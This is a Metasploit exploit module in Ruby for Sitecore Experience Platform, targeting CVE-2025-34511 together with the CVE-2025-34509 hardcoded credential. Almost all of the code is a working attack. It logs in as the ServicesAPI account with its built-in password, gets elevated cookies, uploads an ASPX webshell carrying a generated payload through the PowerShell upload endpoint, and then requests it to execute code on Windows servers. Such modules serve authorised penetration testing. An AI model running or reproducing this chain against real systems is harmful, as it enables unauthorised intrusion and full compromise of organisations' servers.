##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::SitecoreXp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sitecore XP CVE-2025-34511 Post-Authentication File Upload',
        'Description' => %q{
          This module exploits CVE-2025-34511, a file upload vulnerability in PowerShell extensions. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
        },
        'License' => MSF_LICENSE,

        'Author' => [
          'Piotr Bazydlo', # Discovery
          'msutovsky-r7' # Module Creator
        ],
        'References' => [
          [ 'CVE', '2025-34511' ],
          ['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
          ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => [ARCH_X86, ARCH_X64]
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DisclosureDate' => '2025-06-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
    ])
  end

  def check
    return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')

    @is_logged = true

    return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies

    @is_elevated = true

    sitecore_version = get_version

    res = send_request_cgi({
      'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
      'method' => 'GET',
      'vars_get' => { 'hdl' => '1245516121' }
    })

    return Exploit::CheckCode::Safe('PowerShell extension not detected, might not be installed in target Sitecore instance') unless res&.code == 200

    return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))

    Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
  end

  def upload_webshell
    @webshell = "#{Rex::Text.rand_text_alpha(15)}.aspx"
    @item_uri = Rex::Text.rand_text_alpha(8)
    exe = generate_payload_exe
    asp = Msf::Util::EXE.to_exe_aspx(exe)

    data_post = Rex::MIME::Message.new
    data_post.add_part(@item_uri, nil, nil, %(form-data; name="ItemUri"))
    data_post.add_part('en', nil, nil, %(form-data; name="LanguageName"))
    data_post.add_part('0', nil, nil, %(form-data; name="Overwrite"))
    data_post.add_part('0', nil, nil, %(form-data; name="Unpack"))
    data_post.add_part('en', nil, nil, %(form-data; name="Versioned"))
    data_post.add_part(asp, 'text/plain', nil, %(form-data; name="#{@item_uri}"; filename="#{@webshell}"))

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
      'vars_get' => { 'hdl' => '1245516121' },
      'data' => data_post.to_s,
      'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
    })

    return false unless res&.code == 200

    true
  end

  def trigger_webshell
    send_request_cgi({
      'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', @item_uri, @webshell),
      'method' => 'GET'
    })
  end

  def exploit
    if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
      fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
    end

    if !@is_elevated && !get_identity_cookies
      fail_with(Failure::Unknown, 'Failed to get elevated cookies')
    end

    fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless upload_webshell

    trigger_webshell
  end
end
